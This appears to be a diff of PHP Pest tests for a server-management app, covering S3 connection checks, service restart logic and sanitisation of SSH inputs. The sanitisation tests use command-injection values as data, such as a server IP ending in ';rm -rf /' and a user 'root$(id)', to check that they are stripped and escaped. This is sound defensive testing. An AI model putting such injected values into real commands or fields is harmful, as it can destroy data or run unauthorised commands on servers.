'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
]);
$s3Storage->testConnection();
expect($s3Storage->is_usable)->toBeTrue();
});
test('S3Storage connection validation returns friendly timeout error', function () {
$disk = Mockery::mock();
$disk->expects('files')
->once()
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
Storage::expects('build')->once()->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
'unusable_email_sent' => true,
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
expect($s3Storage->is_usable)->toBeFalse();
});
@@ -2,6 +2,9 @@
use App\Jobs\ScheduledJobManager;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Tests\TestCase;
uses(TestCase::class);
it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks', function () {
$job = new ScheduledJobManager;
@@ -0,0 +1,36 @@
<?php
use App\Actions\Service\RestartService;
use App\Actions\Service\StartService;
use App\Actions\Service\StopService;
use App\Models\Service;
it('does not stop a service before pulling latest images', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
});
it('still stops a service before a regular restart', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
});
it('routes service restart actions through start service with deferred stop semantics', function () {
$service = Mockery::mock(Service::class);
$stopService = Mockery::mock(StopService::class);
$stopService->shouldNotReceive('handle');
app()->instance(StopService::class, $stopService);
$startService = Mockery::mock(StartService::class);
$startService->shouldReceive('handle')
->once()
->with($service, true, true)
->andReturn('restart queued');
app()->instance(StartService::class, $startService);
expect(RestartService::run($service, true))->toBe('restart queued');
});
+15 -3
View File
@@ -1,6 +1,7 @@
<?php
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use App\Rules\ValidHostname;
use App\Rules\ValidServerIp;
@@ -57,20 +58,20 @@ it('rejects injection payloads in server ip', function (string $payload) {
// -------------------------------------------------------------------------
it('strips dangerous characters from server ip on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->ip = '192.168.1.1;rm -rf /';
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
expect($server->ip)->toBe('192.168.1.1rm-rf');
});
it('strips dangerous characters from server user on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->user = 'root$(id)';
expect($server->user)->toBe('rootid');
});
it('strips non-numeric characters from server port on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->port = '22; evil';
expect($server->port)->toBe(22);
});
@@ -102,6 +103,17 @@ it('has no raw user@ip string interpolation in SshMultiplexingHelper', function
expect($source)->not->toContain('{$server->user}@{$server->ip}');
});
it('escapes scp source and destination operands', function () {
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
$source = file_get_contents($reflection->getFileName());
expect($source)
->toContain('escapeshellarg($source)')
->toContain('escapeshellarg($dest)')
->not->toContain('"{$source} "')
->not->toContain('":{$dest}"');
});
// -------------------------------------------------------------------------
// ValidHostname rejects shell metacharacters
// -------------------------------------------------------------------------